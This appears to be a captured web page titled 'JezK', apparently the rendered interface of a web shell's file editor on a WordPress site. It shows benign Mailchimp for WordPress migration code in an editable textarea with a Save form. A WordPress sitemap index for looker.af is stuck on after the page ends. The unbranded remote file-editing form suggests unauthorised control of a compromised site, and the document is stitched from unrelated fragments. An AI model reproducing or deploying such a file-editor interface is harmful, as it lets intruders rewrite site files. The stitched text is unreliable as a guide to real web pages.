
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: 4.0.0-groupings-to-interests.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

defined( &#039;ABSPATH&#039; ) or exit;

/**
 * @ignore
 * @return object
 */
function _mc4wp_400_find_grouping_for_interest_category( $groupings, $interest_category ) {
	foreach ( $groupings as $grouping ) {
		// cast to stdClass because of missing class
		$grouping = (object) (array) $grouping;

		if ( $grouping-&gt;name === $interest_category-&gt;title ) {
			return $grouping;
		}
	}

	return null;
}

/**
 * @ignore
 * @return object
 */
function _mc4wp_400_find_group_for_interest( $groups, $interest ) {
	foreach ( $groups as $group_id =&gt; $group_name ) {
		if ( $group_name === $interest-&gt;name ) {
			return (object) array(
				&#039;name&#039; =&gt; $group_name,
				&#039;id&#039;   =&gt; $group_id,
			);
		}
	}

	return null;
}

// in case the migration is _very_ late to the party
if ( ! class_exists( &#039;MC4WP_API_V3&#039; ) ) {
	return;
}

$options = get_option( &#039;mc4wp&#039;, array() );
if ( empty( $options[&#039;api_key&#039;] ) ) {
	return;
}

// get current state from transient
$lists = get_transient( &#039;mc4wp_mailchimp_lists_fallback&#039; );
if ( empty( $lists ) ) {
	return;
}

@set_time_limit( 600 );
$api_v3 = new MC4WP_API_V3( $options[&#039;api_key&#039;] );
$map    = array();

foreach ( $lists as $list ) {

	// cast to stdClass because of missing classes
	$list = (object) (array) $list;

	// no groupings? easy!
	if ( empty( $list-&gt;groupings ) ) {
		continue;
	}

	// fetch (new) interest categories for this list
	try {
		$interest_categories = $api_v3-&gt;get_list_interest_categories( $list-&gt;id );
	} catch ( MC4WP_API_Exception $e ) {
		continue;
	}


	foreach ( $interest_categories as $interest_category ) {

		// compare interest title with grouping name, if it matches, get new id.
		$grouping = _mc4wp_400_find_grouping_for_interest_category( $list-&gt;groupings, $interest_category );
		if ( ! $grouping ) {
			continue;
		}

		$groups = array();

		try {
			$interests = $api_v3-&gt;get_list_interest_category_interests( $list-&gt;id, $interest_category-&gt;id );
		} catch ( MC4WP_API_Exception $e ) {
			continue;
		}

		foreach ( $interests as $interest ) {
			$group = _mc4wp_400_find_group_for_interest( $grouping-&gt;groups, $interest );

			if ( $group ) {
				$groups[ $group-&gt;id ]   = $interest-&gt;id;
				$groups[ $group-&gt;name ] = $interest-&gt;id;
			}
		}

		$map[ (string) $grouping-&gt;id ] = array(
			&#039;id&#039;     =&gt; $interest_category-&gt;id,
			&#039;groups&#039; =&gt; $groups,
		);
	}
}


if ( ! empty( $map ) ) {
	update_option( &#039;mc4wp_groupings_map&#039;, $map );
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
